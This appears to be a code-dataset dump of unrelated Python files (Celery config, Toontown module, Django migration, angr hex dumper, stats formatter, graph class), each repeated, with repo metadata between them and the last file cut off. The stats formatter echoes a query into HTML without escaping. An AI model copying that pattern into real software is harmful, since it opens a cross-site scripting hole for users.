# -*- coding: utf-8 -*- """ ============================================================================== created : 02/08/2021 Last update: 02/08/2021 Developer: <NAME> Lite Version 1 @Yishan08032019 Filename: celeryconfig.py Description: about celery configuration ============================================================================== """ from kombu import Queue class BaseConfig(object): CELERY_ACCEPT_CONTENT= ['json'] CELERY_TASK_SERIALIZER= 'json' CELERY_RESULT_SERIALIZER= 'json' CELERY_ENABLE_UTC=True CELERY_TIMEZONE='Asia/Taipei' # CELERY_ACKS_LATE=True, #https://kknews.cc/zh-tw/code/5v5vj52.html CELERYD_PREFETCH_MULTIPLIER=1 CELERYD_MAX_TASKS_PER_CHILD=50 #memory leak CELERY_IGNORE_RESULT=True CELERY_STORE_ERRORS_EVEN_IF_IGNORED=True CELERY_TASK_CREATE_MISSING_QUEUES=False CELERY_QUEUES = { # Queue("default", routing_key = "default"), # Queue("queue1", routing_key = "high", queue_arguments={'maxPriority': 10}), #https://github.com/squaremo/amqp.node/issues/165 Queue("H-queue1", routing_key = "high"), Queue("L-queue1", routing_key = "low") } CELERY_TASK_ROUTES = { 'celeryApp.celeryTasks.celery_trigger_specific_program': {'queue': 'H-queue1','routing_key':'high'}, 'celeryApp.celeryTasks.celery_post_api_count_record': {'queue': 'L-queue1','routing_key':'low'}, 'celeryApp.celeryTasks.celery_send_email': {'queue': 'L-queue1','routing_key':'low'}, } def readConfig(): import os, time import ConfigParser from app.globalvar import CONFIG as _CONFIG try: get_request_start_time = int(round(time.time()* 1000000)) if not os.path.isfile('/var/www/spdpaas/config/deconstants_{}.conf'.format(str(get_request_start_time))): with os.popen('/usr/bin/openssl enc -aes-128-cbc -d -in /var/www/spdpaas/config/encconstants.conf -out /var/www/spdpaas/config/deconstants_{}.conf -pass <PASSWORD>:<PASSWORD>'.format(str(get_request_start_time))) as osdecrypt: osdecrypt.read() CONFPATH = "/var/www/spdpaas/config/deconstants_{}.conf".format(str(get_request_start_time)) CONFIG = ConfigParser.ConfigParser() CONFIG.read(CONFPATH) dicConfig = { "celery_broker":CONFIG.get('Celery', 'broker'), "celery_result_backend":CONFIG.get('Celery', 'result_backend'), "dbpostgres_ip":CONFIG.get(_CONFIG["SYSTEM"]["POSTGRESQL"],'ip'), "dbpostgres_port":CONFIG.get(_CONFIG["SYSTEM"]["POSTGRESQL"],'port'), "dbpostgres_user":CONFIG.get(_CONFIG["SYSTEM"]["POSTGRESQL"],'user'), "dbpostgres_password":CONFIG.get(_CONFIG["SYSTEM"]["POSTGRESQL"],'password') } return dicConfig except Exception as e: print "~~~~celery config error~~~~" print e return False finally: if os.path.isfile('/var/www/spdpaas/config/deconstants_{}.conf'.format(str(get_request_start_time))): with os.popen('/bin/rm /var/www/spdpaas/config/deconstants_{}.conf'.format(str(get_request_start_time))) as osrm: osrm.read()

# -*- coding: utf-8 -*- """ ============================================================================== created : 02/08/2021 Last update: 02/08/2021 Developer: <NAME> Lite Version 1 @Yishan08032019 Filename: celeryconfig.py Description: about celery configuration ============================================================================== """ from kombu import Queue class BaseConfig(object): CELERY_ACCEPT_CONTENT= ['json'] CELERY_TASK_SERIALIZER= 'json' CELERY_RESULT_SERIALIZER= 'json' CELERY_ENABLE_UTC=True CELERY_TIMEZONE='Asia/Taipei' # CELERY_ACKS_LATE=True, #https://kknews.cc/zh-tw/code/5v5vj52.html CELERYD_PREFETCH_MULTIPLIER=1 CELERYD_MAX_TASKS_PER_CHILD=50 #memory leak CELERY_IGNORE_RESULT=True CELERY_STORE_ERRORS_EVEN_IF_IGNORED=True CELERY_TASK_CREATE_MISSING_QUEUES=False CELERY_QUEUES = { # Queue("default", routing_key = "default"), # Queue("queue1", routing_key = "high", queue_arguments={'maxPriority': 10}), #https://github.com/squaremo/amqp.node/issues/165 Queue("H-queue1", routing_key = "high"), Queue("L-queue1", routing_key = "low") } CELERY_TASK_ROUTES = { 'celeryApp.celeryTasks.celery_trigger_specific_program': {'queue': 'H-queue1','routing_key':'high'}, 'celeryApp.celeryTasks.celery_post_api_count_record': {'queue': 'L-queue1','routing_key':'low'}, 'celeryApp.celeryTasks.celery_send_email': {'queue': 'L-queue1','routing_key':'low'}, } def readConfig(): import os, time import ConfigParser from app.globalvar import CONFIG as _CONFIG try: get_request_start_time = int(round(time.time()* 1000000)) if not os.path.isfile('/var/www/spdpaas/config/deconstants_{}.conf'.format(str(get_request_start_time))): with os.popen('/usr/bin/openssl enc -aes-128-cbc -d -in /var/www/spdpaas/config/encconstants.conf -out /var/www/spdpaas/config/deconstants_{}.conf -pass <PASSWORD>:<PASSWORD>'.format(str(get_request_start_time))) as osdecrypt: osdecrypt.read() CONFPATH = "/var/www/spdpaas/config/deconstants_{}.conf".format(str(get_request_start_time)) CONFIG = ConfigParser.ConfigParser() CONFIG.read(CONFPATH) dicConfig = { "celery_broker":CONFIG.get('Celery', 'broker'), "celery_result_backend":CONFIG.get('Celery', 'result_backend'), "dbpostgres_ip":CONFIG.get(_CONFIG["SYSTEM"]["POSTGRESQL"],'ip'), "dbpostgres_port":CONFIG.get(_CONFIG["SYSTEM"]["POSTGRESQL"],'port'), "dbpostgres_user":CONFIG.get(_CONFIG["SYSTEM"]["POSTGRESQL"],'user'), "dbpostgres_password":CONFIG.get(_CONFIG["SYSTEM"]["POSTGRESQL"],'password') } return dicConfig except Exception as e: print "~~~~celery config error~~~~" print e return False finally: if os.path.isfile('/var/www/spdpaas/config/deconstants_{}.conf'.format(str(get_request_start_time))): with os.popen('/bin/rm /var/www/spdpaas/config/deconstants_{}.conf'.format(str(get_request_start_time))) as osrm: osrm.read()

ceb

toontown/coghq/LawbotHQExterior.py

journeyfan/toontown-journey

13581

from direct.directnotify import DirectNotifyGlobal from direct.fsm import ClassicFSM, State from direct.fsm import State from pandac.PandaModules import * from toontown.battle import BattlePlace from toontown.building import Elevator from toontown.coghq import CogHQExterior from toontown.dna.DNAParser import loadDNAFileAI from libpandadna import DNAStorage from toontown.hood import ZoneUtil from toontown.toonbase import ToontownGlobals class LawbotHQExterior(CogHQExterior.CogHQExterior): notify = DirectNotifyGlobal.directNotify.newCategory('LawbotHQExterior') def enter(self, requestStatus): CogHQExterior.CogHQExterior.enter(self, requestStatus) # Load the CogHQ DNA file: dnaStore = DNAStorage() dnaFileName = self.genDNAFileName(self.zoneId) loadDNAFileAI(dnaStore, dnaFileName) # Collect all of the vis group zone IDs: self.zoneVisDict = {} for i in range(dnaStore.getNumDNAVisGroupsAI()): groupFullName = dnaStore.getDNAVisGroupName(i) visGroup = dnaStore.getDNAVisGroupAI(i) visZoneId = int(base.cr.hoodMgr.extractGroupName(groupFullName)) visZoneId = ZoneUtil.getTrueZoneId(visZoneId, self.zoneId) visibles = [] for i in range(visGroup.getNumVisibles()): visibles.append(int(visGroup.getVisible(i))) visibles.append(ZoneUtil.getBranchZone(visZoneId)) self.zoneVisDict[visZoneId] = visibles # Next, we want interest in all vis groups due to this being a Cog HQ: base.cr.sendSetZoneMsg(self.zoneId, list(self.zoneVisDict.values())[0])

from direct.directnotify import DirectNotifyGlobal from direct.fsm import ClassicFSM, State from direct.fsm import State from pandac.PandaModules import * from toontown.battle import BattlePlace from toontown.building import Elevator from toontown.coghq import CogHQExterior from toontown.dna.DNAParser import loadDNAFileAI from libpandadna import DNAStorage from toontown.hood import ZoneUtil from toontown.toonbase import ToontownGlobals class LawbotHQExterior(CogHQExterior.CogHQExterior): notify = DirectNotifyGlobal.directNotify.newCategory('LawbotHQExterior') def enter(self, requestStatus): CogHQExterior.CogHQExterior.enter(self, requestStatus) # Load the CogHQ DNA file: dnaStore = DNAStorage() dnaFileName = self.genDNAFileName(self.zoneId) loadDNAFileAI(dnaStore, dnaFileName) # Collect all of the vis group zone IDs: self.zoneVisDict = {} for i in range(dnaStore.getNumDNAVisGroupsAI()): groupFullName = dnaStore.getDNAVisGroupName(i) visGroup = dnaStore.getDNAVisGroupAI(i) visZoneId = int(base.cr.hoodMgr.extractGroupName(groupFullName)) visZoneId = ZoneUtil.getTrueZoneId(visZoneId, self.zoneId) visibles = [] for i in range(visGroup.getNumVisibles()): visibles.append(int(visGroup.getVisible(i))) visibles.append(ZoneUtil.getBranchZone(visZoneId)) self.zoneVisDict[visZoneId] = visibles # Next, we want interest in all vis groups due to this being a Cog HQ: base.cr.sendSetZoneMsg(self.zoneId, list(self.zoneVisDict.values())[0])

pt

etsy_convos/convos/migrations/0005_convothread_last_message_at.py

jessehon/etsy-convos

13582

# -*- coding: utf-8 -*- from __future__ import unicode_literals from django.db import models, migrations class Migration(migrations.Migration): dependencies = [ ('convos', '0004_auto_20150511_0945'), ] operations = [ migrations.AddField( model_name='convothread', name='last_message_at', field=models.DateTimeField(null=True, verbose_name='Last message at', blank=True), ), ]

# -*- coding: utf-8 -*- from __future__ import unicode_literals from django.db import models, migrations class Migration(migrations.Migration): dependencies = [ ('convos', '0004_auto_20150511_0945'), ] operations = [ migrations.AddField( model_name='convothread', name='last_message_at', field=models.DateTimeField(null=True, verbose_name='Last message at', blank=True), ), ]

fr

pycoax/examples/40_eab.py

lowobservable/coax

13583

#!/usr/bin/env python import sys from itertools import chain from common import open_example_serial_interface from coax import read_feature_ids, parse_features, Feature, LoadAddressCounterHi, LoadAddressCounterLo, WriteData, EABWriteAlternate, EABLoadMask def get_features(interface): commands = read_feature_ids() ids = interface.execute(commands) return parse_features(ids, commands) def eab_alternate_zip(regen_buffer, eab_buffer): return bytes(chain(*zip(regen_buffer, eab_buffer))) with open_example_serial_interface() as interface: features = get_features(interface) if Feature.EAB not in features: sys.exit('No EAB feature found.') eab_address = features[Feature.EAB] print(f'EAB feature found at address {eab_address}') # Protected Normal interface.execute([LoadAddressCounterHi(0), LoadAddressCounterLo(80)]) regen_buffer = bytes.fromhex('e0 08 00 af 91 8e 93 84 82 93 84 83 00 ad 8e 91 8c 80 8b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 09') interface.execute(WriteData(regen_buffer)) # Protected Intense interface.execute([LoadAddressCounterHi(0), LoadAddressCounterLo(160)]) regen_buffer = bytes.fromhex('e8 08 00 af 91 8e 93 84 82 93 84 83 00 a8 8d 93 84 8d 92 84 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 09') interface.execute(WriteData(regen_buffer)) # Normal EFA interface.execute([LoadAddressCounterHi(1), LoadAddressCounterLo(64)]) regen_buffer = bytes.fromhex('e0 08 00 ad 8e 91 8c 80 8b 00 a4 a5 a0 00 00 00 00 00 00 00 00 00 00 b7 bf 00 a1 bf 00 b1 bf 00 ac bf 00 a6 bf 00 a2 bf 00 b8 bf 00 b6 bf 00 00 09 e0') eab_buffer = bytes.fromhex('00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 00 10 00 00 18 00 00 20 00 00 28 00 00 30 00 00 38 00 00 00 00 00') interface.execute(EABWriteAlternate(eab_address, eab_alternate_zip(regen_buffer, eab_buffer))) # Blink EFA interface.execute([LoadAddressCounterHi(1), LoadAddressCounterLo(144)]) regen_buffer = bytes.fromhex('e0 08 00 a1 8b 88 8d 8a 00 a4 a5 a0 00 00 00 00 00 00 00 00 00 00 00 b7 bf 00 a1 bf 00 b1 bf 00 ac bf 00 a6 bf 00 a2 bf 00 b8 bf 00 b6 bf 00 00 09 e0') eab_buffer = bytes.fromhex('40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 00 10 00 00 18 00 00 20 00 00 28 00 00 30 00 00 38 00 00 00 00 00') interface.execute(EABWriteAlternate(eab_address, eab_alternate_zip(regen_buffer, eab_buffer))) # Reverse EFA interface.execute([LoadAddressCounterHi(1), LoadAddressCounterLo(224)]) regen_buffer = bytes.fromhex('e0 08 00 b1 84 95 84 91 92 84 00 a4 a5 a0 00 00 00 00 00 00 00 00 00 b7 bf 00 a1 bf 00 b1 bf 00 ac bf 00 a6 bf 00 a2 bf 00 b8 bf 00 b6 bf 00 00 09 e0') eab_buffer = bytes.fromhex('80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 00 10 00 00 18 00 00 20 00 00 28 00 00 30 00 00 38 00 00 00 00 00') interface.execute(EABWriteAlternate(eab_address, eab_alternate_zip(regen_buffer, eab_buffer))) # Underline EFA interface.execute([LoadAddressCounterHi(2), LoadAddressCounterLo(48)]) regen_buffer = bytes.fromhex('e0 08 00 b4 8d 83 84 91 8b 88 8d 84 00 a4 a5 a0 00 00 00 00 00 00 00 b7 bf 00 a1 bf 00 b1 bf 00 ac bf 00 a6 bf 00 a2 bf 00 b8 bf 00 b6 bf 00 00 09 e0') eab_buffer = bytes.fromhex('c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 00 10 00 00 18 00 00 20 00 00 28 00 00 30 00 00 38 00 00 00 00 00') interface.execute(EABWriteAlternate(eab_address, eab_alternate_zip(regen_buffer, eab_buffer)))

#!/usr/bin/env python import sys from itertools import chain from common import open_example_serial_interface from coax import read_feature_ids, parse_features, Feature, LoadAddressCounterHi, LoadAddressCounterLo, WriteData, EABWriteAlternate, EABLoadMask def get_features(interface): commands = read_feature_ids() ids = interface.execute(commands) return parse_features(ids, commands) def eab_alternate_zip(regen_buffer, eab_buffer): return bytes(chain(*zip(regen_buffer, eab_buffer))) with open_example_serial_interface() as interface: features = get_features(interface) if Feature.EAB not in features: sys.exit('No EAB feature found.') eab_address = features[Feature.EAB] print(f'EAB feature found at address {eab_address}') # Protected Normal interface.execute([LoadAddressCounterHi(0), LoadAddressCounterLo(80)]) regen_buffer = bytes.fromhex('e0 08 00 af 91 8e 93 84 82 93 84 83 00 ad 8e 91 8c 80 8b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 09') interface.execute(WriteData(regen_buffer)) # Protected Intense interface.execute([LoadAddressCounterHi(0), LoadAddressCounterLo(160)]) regen_buffer = bytes.fromhex('e8 08 00 af 91 8e 93 84 82 93 84 83 00 a8 8d 93 84 8d 92 84 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 09') interface.execute(WriteData(regen_buffer)) # Normal EFA interface.execute([LoadAddressCounterHi(1), LoadAddressCounterLo(64)]) regen_buffer = bytes.fromhex('e0 08 00 ad 8e 91 8c 80 8b 00 a4 a5 a0 00 00 00 00 00 00 00 00 00 00 b7 bf 00 a1 bf 00 b1 bf 00 ac bf 00 a6 bf 00 a2 bf 00 b8 bf 00 b6 bf 00 00 09 e0') eab_buffer = bytes.fromhex('00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 00 10 00 00 18 00 00 20 00 00 28 00 00 30 00 00 38 00 00 00 00 00') interface.execute(EABWriteAlternate(eab_address, eab_alternate_zip(regen_buffer, eab_buffer))) # Blink EFA interface.execute([LoadAddressCounterHi(1), LoadAddressCounterLo(144)]) regen_buffer = bytes.fromhex('e0 08 00 a1 8b 88 8d 8a 00 a4 a5 a0 00 00 00 00 00 00 00 00 00 00 00 b7 bf 00 a1 bf 00 b1 bf 00 ac bf 00 a6 bf 00 a2 bf 00 b8 bf 00 b6 bf 00 00 09 e0') eab_buffer = bytes.fromhex('40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 00 10 00 00 18 00 00 20 00 00 28 00 00 30 00 00 38 00 00 00 00 00') interface.execute(EABWriteAlternate(eab_address, eab_alternate_zip(regen_buffer, eab_buffer))) # Reverse EFA interface.execute([LoadAddressCounterHi(1), LoadAddressCounterLo(224)]) regen_buffer = bytes.fromhex('e0 08 00 b1 84 95 84 91 92 84 00 a4 a5 a0 00 00 00 00 00 00 00 00 00 b7 bf 00 a1 bf 00 b1 bf 00 ac bf 00 a6 bf 00 a2 bf 00 b8 bf 00 b6 bf 00 00 09 e0') eab_buffer = bytes.fromhex('80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 00 10 00 00 18 00 00 20 00 00 28 00 00 30 00 00 38 00 00 00 00 00') interface.execute(EABWriteAlternate(eab_address, eab_alternate_zip(regen_buffer, eab_buffer))) # Underline EFA interface.execute([LoadAddressCounterHi(2), LoadAddressCounterLo(48)]) regen_buffer = bytes.fromhex('e0 08 00 b4 8d 83 84 91 8b 88 8d 84 00 a4 a5 a0 00 00 00 00 00 00 00 b7 bf 00 a1 bf 00 b1 bf 00 ac bf 00 a6 bf 00 a2 bf 00 b8 bf 00 b6 bf 00 00 09 e0') eab_buffer = bytes.fromhex('c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 00 00 10 00 00 18 00 00 20 00 00 28 00 00 30 00 00 38 00 00 00 00 00') interface.execute(EABWriteAlternate(eab_address, eab_alternate_zip(regen_buffer, eab_buffer)))

pt

ApkInstall/Case/TV/DeviceConnect.py

LiuTianen/PackManage

13584

# coding=utf-8 from Base.DevicesList import devicesList as dl from Base.Common import Common class DevicesConnect: def deviceConnect(self): commands = [] data = dl().get_Tv_IP() for IP in data: cmd = "adb connect %s" %(IP) commands.append(cmd) Common().loop_threads(commands) if __name__ == '__main__': DevicesConnect().deviceConnect()

# coding=utf-8 from Base.DevicesList import devicesList as dl from Base.Common import Common class DevicesConnect: def deviceConnect(self): commands = [] data = dl().get_Tv_IP() for IP in data: cmd = "adb connect %s" %(IP) commands.append(cmd) Common().loop_threads(commands) if __name__ == '__main__': DevicesConnect().deviceConnect()

ceb

angr/storage/memory_mixins/hex_dumper_mixin.py

Kyle-Kyle/angr

13585

import string from ...errors import SimValueError from . import MemoryMixin class HexDumperMixin(MemoryMixin): def hex_dump(self, start, size, word_size=4, words_per_row=4, endianness="Iend_BE", symbolic_char='?', unprintable_char='.', solve=False, extra_constraints=None, inspect=False, disable_actions=True): """ Returns a hex dump as a string. The solver, if enabled, is called once for every byte potentially making this function very slow. It is meant to be used mainly as a "visualization" for debugging. Warning: May read and display more bytes than `size` due to rounding. Particularly, if size is less than, or not a multiple of word_size*words_per_line. :param start: starting address from which to print :param size: number of bytes to display :param word_size: number of bytes to group together as one space-delimited unit :param words_per_row: number of words to display per row of output :param endianness: endianness to use when displaying each word (ASCII representation is unchanged) :param symbolic_char: the character to display when a byte is symbolic and has multiple solutions :param unprintable_char: the character to display when a byte is not printable :param solve: whether or not to attempt to solve (warning: can be very slow) :param extra_constraints: extra constraints to pass to the solver is solve is True :param inspect: whether or not to trigger SimInspect breakpoints for the memory load :param disable_actions: whether or not to disable SimActions for the memory load :return: hex dump as a string """ if endianness == "Iend_BE": end = 1 else: end = -1 if extra_constraints is None: extra_constraints = [] # round up size so that chop() works line_size = word_size * words_per_row size = size if size % line_size == 0 else size + line_size - size % line_size raw_mem = super().load(start, size=size, inspect=inspect, disable_actions=disable_actions) i = start dump_str = "" for line in raw_mem.chop(line_size * self.state.arch.byte_width): dump = "%x:" % i group_str = "" for word in line.chop(word_size * self.state.arch.byte_width): word_bytes = "" word_str = "" for byte_ in word.chop(self.state.arch.byte_width)[::end]: byte_value = None if not self.state.solver.symbolic(byte_) or solve: try: byte_value = self.state.solver.eval_one( byte_, extra_constraints=extra_constraints ) except SimValueError: pass if byte_value is not None: word_bytes += "%02x" % byte_value if chr(byte_value) in string.printable[:-5]: word_str += chr(byte_value) else: word_str += unprintable_char else: word_bytes += symbolic_char*2 word_str += symbolic_char dump += ' ' + word_bytes group_str += word_str[::end] # always print ASCII representation in little-endian dump += ' ' + group_str i += line_size dump_str += dump + '\n' return dump_str

import string from ...errors import SimValueError from . import MemoryMixin class HexDumperMixin(MemoryMixin): def hex_dump(self, start, size, word_size=4, words_per_row=4, endianness="Iend_BE", symbolic_char='?', unprintable_char='.', solve=False, extra_constraints=None, inspect=False, disable_actions=True): """ Returns a hex dump as a string. The solver, if enabled, is called once for every byte potentially making this function very slow. It is meant to be used mainly as a "visualization" for debugging. Warning: May read and display more bytes than `size` due to rounding. Particularly, if size is less than, or not a multiple of word_size*words_per_line. :param start: starting address from which to print :param size: number of bytes to display :param word_size: number of bytes to group together as one space-delimited unit :param words_per_row: number of words to display per row of output :param endianness: endianness to use when displaying each word (ASCII representation is unchanged) :param symbolic_char: the character to display when a byte is symbolic and has multiple solutions :param unprintable_char: the character to display when a byte is not printable :param solve: whether or not to attempt to solve (warning: can be very slow) :param extra_constraints: extra constraints to pass to the solver is solve is True :param inspect: whether or not to trigger SimInspect breakpoints for the memory load :param disable_actions: whether or not to disable SimActions for the memory load :return: hex dump as a string """ if endianness == "Iend_BE": end = 1 else: end = -1 if extra_constraints is None: extra_constraints = [] # round up size so that chop() works line_size = word_size * words_per_row size = size if size % line_size == 0 else size + line_size - size % line_size raw_mem = super().load(start, size=size, inspect=inspect, disable_actions=disable_actions) i = start dump_str = "" for line in raw_mem.chop(line_size * self.state.arch.byte_width): dump = "%x:" % i group_str = "" for word in line.chop(word_size * self.state.arch.byte_width): word_bytes = "" word_str = "" for byte_ in word.chop(self.state.arch.byte_width)[::end]: byte_value = None if not self.state.solver.symbolic(byte_) or solve: try: byte_value = self.state.solver.eval_one( byte_, extra_constraints=extra_constraints ) except SimValueError: pass if byte_value is not None: word_bytes += "%02x" % byte_value if chr(byte_value) in string.printable[:-5]: word_str += chr(byte_value) else: word_str += unprintable_char else: word_bytes += symbolic_char*2 word_str += symbolic_char dump += ' ' + word_bytes group_str += word_str[::end] # always print ASCII representation in little-endian dump += ' ' + group_str i += line_size dump_str += dump + '\n' return dump_str

pt

src/greplin/scales/formats.py

frenzymadness/scales

13586

# Copyright 2011 The scales Authors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Formatting methods for stats.""" from greplin import scales import cgi import six import json import operator import re OPERATORS = { '>=': operator.ge, '>': operator.gt, '<': operator.lt, '<=': operator.le, '=': operator.eq, '==': operator.eq, '!=': operator.ne } OPERATOR = re.compile('(%s)' % '|'.join(list(OPERATORS.keys()))) def runQuery(statDict, query): """Filters for the given query.""" parts = [x.strip() for x in OPERATOR.split(query)] assert len(parts) in (1, 3) queryKey = parts[0] result = {} for key, value in six.iteritems(statDict): if key == queryKey: if len(parts) == 3: op = OPERATORS[parts[1]] try: queryValue = type(value)(parts[2]) if value else parts[2] except (TypeError, ValueError): continue if not op(value, queryValue): continue result[key] = value elif isinstance(value, scales.StatContainer) or isinstance(value, dict): child = runQuery(value, query) if child: result[key] = child return result def htmlHeader(output, path, serverName, query = None): """Writes an HTML header.""" if path and path != '/': output.write('<title>%s - Status: %s</title>' % (serverName, path)) else: output.write('<title>%s - Status</title>' % serverName) output.write(''' <style> body,td { font-family: monospace } .level div { padding-bottom: 4px; } .level .level { margin-left: 2em; padding: 1px 0; } span { color: #090; vertical-align: top } .key { color: black; font-weight: bold } .int, .float { color: #00c } </style> ''') output.write('<h1 style="margin: 0">Stats</h1>') output.write('<h3 style="margin: 3px 0 18px">%s</h3>' % serverName) output.write( '<p><form action="#" method="GET">Filter: <input type="text" name="query" size="20" value="%s"></form></p>' % (query or '')) def htmlFormat(output, pathParts = (), statDict = None, query = None): """Formats as HTML, writing to the given object.""" statDict = statDict or scales.getStats() if query: statDict = runQuery(statDict, query) _htmlRenderDict(pathParts, statDict, output) def _htmlRenderDict(pathParts, statDict, output): """Render a dictionary as a table - recursing as necessary.""" keys = list(statDict.keys()) keys.sort() links = [] output.write('<div class="level">') for key in keys: keyStr = cgi.escape(_utf8str(key)) value = statDict[key] if hasattr(value, '__call__'): value = value() if hasattr(value, 'keys'): valuePath = pathParts + (keyStr,) if isinstance(value, scales.StatContainer) and value.isCollapsed(): link = '/status/' + '/'.join(valuePath) links.append('<div class="key"><a href="%s">%s</a></div>' % (link, keyStr)) else: output.write('<div class="key">%s</div>' % keyStr) _htmlRenderDict(valuePath, value, output) else: output.write('<div><span class="key">%s</span> <span class="%s">%s</span></div>' % (keyStr, type(value).__name__, cgi.escape(_utf8str(value)).replace('\n', '<br/>'))) if links: for link in links: output.write(link) output.write('</div>') def _utf8str(x): """Like str(x), but returns UTF8.""" if six.PY3: return str(x) if isinstance(x, six.binary_type): return x elif isinstance(x, six.text_type): return x.encode('utf-8') else: return six.binary_type(x) def jsonFormat(output, statDict = None, query = None, pretty = False): """Formats as JSON, writing to the given object.""" statDict = statDict or scales.getStats() if query: statDict = runQuery(statDict, query) indent = 2 if pretty else None # At first, assume that strings are in UTF-8. If this fails -- if, for example, we have # crazy binary data -- then in order to get *something* out, we assume ISO-8859-1, # which maps each byte to a unicode code point. try: serialized = json.dumps(statDict, cls=scales.StatContainerEncoder, indent=indent) except UnicodeDecodeError: serialized = json.dumps(statDict, cls=scales.StatContainerEncoder, indent=indent, encoding='iso-8859-1') output.write(serialized) output.write('\n')

# Copyright 2011 The scales Authors. # # Licensed under the Apache License, Version 2.0 (the "License"); # you may not use this file except in compliance with the License. # You may obtain a copy of the License at # # http://www.apache.org/licenses/LICENSE-2.0 # # Unless required by applicable law or agreed to in writing, software # distributed under the License is distributed on an "AS IS" BASIS, # WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. # See the License for the specific language governing permissions and # limitations under the License. """Formatting methods for stats.""" from greplin import scales import cgi import six import json import operator import re OPERATORS = { '>=': operator.ge, '>': operator.gt, '<': operator.lt, '<=': operator.le, '=': operator.eq, '==': operator.eq, '!=': operator.ne } OPERATOR = re.compile('(%s)' % '|'.join(list(OPERATORS.keys()))) def runQuery(statDict, query): """Filters for the given query.""" parts = [x.strip() for x in OPERATOR.split(query)] assert len(parts) in (1, 3) queryKey = parts[0] result = {} for key, value in six.iteritems(statDict): if key == queryKey: if len(parts) == 3: op = OPERATORS[parts[1]] try: queryValue = type(value)(parts[2]) if value else parts[2] except (TypeError, ValueError): continue if not op(value, queryValue): continue result[key] = value elif isinstance(value, scales.StatContainer) or isinstance(value, dict): child = runQuery(value, query) if child: result[key] = child return result def htmlHeader(output, path, serverName, query = None): """Writes an HTML header.""" if path and path != '/': output.write('<title>%s - Status: %s</title>' % (serverName, path)) else: output.write('<title>%s - Status</title>' % serverName) output.write(''' <style> body,td { font-family: monospace } .level div { padding-bottom: 4px; } .level .level { margin-left: 2em; padding: 1px 0; } span { color: #090; vertical-align: top } .key { color: black; font-weight: bold } .int, .float { color: #00c } </style> ''') output.write('<h1 style="margin: 0">Stats</h1>') output.write('<h3 style="margin: 3px 0 18px">%s</h3>' % serverName) output.write( '<p><form action="#" method="GET">Filter: <input type="text" name="query" size="20" value="%s"></form></p>' % (query or '')) def htmlFormat(output, pathParts = (), statDict = None, query = None): """Formats as HTML, writing to the given object.""" statDict = statDict or scales.getStats() if query: statDict = runQuery(statDict, query) _htmlRenderDict(pathParts, statDict, output) def _htmlRenderDict(pathParts, statDict, output): """Render a dictionary as a table - recursing as necessary.""" keys = list(statDict.keys()) keys.sort() links = [] output.write('<div class="level">') for key in keys: keyStr = cgi.escape(_utf8str(key)) value = statDict[key] if hasattr(value, '__call__'): value = value() if hasattr(value, 'keys'): valuePath = pathParts + (keyStr,) if isinstance(value, scales.StatContainer) and value.isCollapsed(): link = '/status/' + '/'.join(valuePath) links.append('<div class="key"><a href="%s">%s</a></div>' % (link, keyStr)) else: output.write('<div class="key">%s</div>' % keyStr) _htmlRenderDict(valuePath, value, output) else: output.write('<div><span class="key">%s</span> <span class="%s">%s</span></div>' % (keyStr, type(value).__name__, cgi.escape(_utf8str(value)).replace('\n', '<br/>'))) if links: for link in links: output.write(link) output.write('</div>') def _utf8str(x): """Like str(x), but returns UTF8.""" if six.PY3: return str(x) if isinstance(x, six.binary_type): return x elif isinstance(x, six.text_type): return x.encode('utf-8') else: return six.binary_type(x) def jsonFormat(output, statDict = None, query = None, pretty = False): """Formats as JSON, writing to the given object.""" statDict = statDict or scales.getStats() if query: statDict = runQuery(statDict, query) indent = 2 if pretty else None # At first, assume that strings are in UTF-8. If this fails -- if, for example, we have # crazy binary data -- then in order to get *something* out, we assume ISO-8859-1, # which maps each byte to a unicode code point. try: serialized = json.dumps(statDict, cls=scales.StatContainerEncoder, indent=indent) except UnicodeDecodeError: serialized = json.dumps(statDict, cls=scales.StatContainerEncoder, indent=indent, encoding='iso-8859-1') output.write(serialized) output.write('\n')

pt

src/weight_graph.py

kavdi/data-structures

13587

"""Implement a weighted graph.""" class Graph(object): """Structure for values in a weighted graph.""" def __init__(self): """Create a graph with no values.""" self.graph = {} def nodes(self): """Get all nodes in the graph to display in list form.""" return list(self.graph) def edges(self): """Get all edges in graph to display in list of tuples with weights.""" edge_list = [] for start in self.graph: for end in self.graph[start]: edge_list.append((start, end, self.graph[start][end])) return edge_list def add_node(self, val): """Add a node with a value to the graph.""" self.graph.setdefault(val, {}) def add_edge(self, val1, val2, weight): """Add an edge from val1 to val2 with the given weight. If the node for either value does not exist, it is added to the graph. """ if val1 == val2: raise ValueError('Edge needs two different values.') self.add_node(val1) self.add_node(val2) self.graph[val1][val2] = weight def del_node(self, val): """Remove the node with the given value from the graph. Also removes all edges connected to the node. """ if val not in self.graph: raise ValueError('Value is not in the graph.') del self.graph[val] for node in self.graph: if val in self.graph[node]: del self.graph[node][val] def del_edge(self, val1, val2): """Remove the edge connecting node of val1 to node of val2.""" try: del self.graph[val1][val2] except 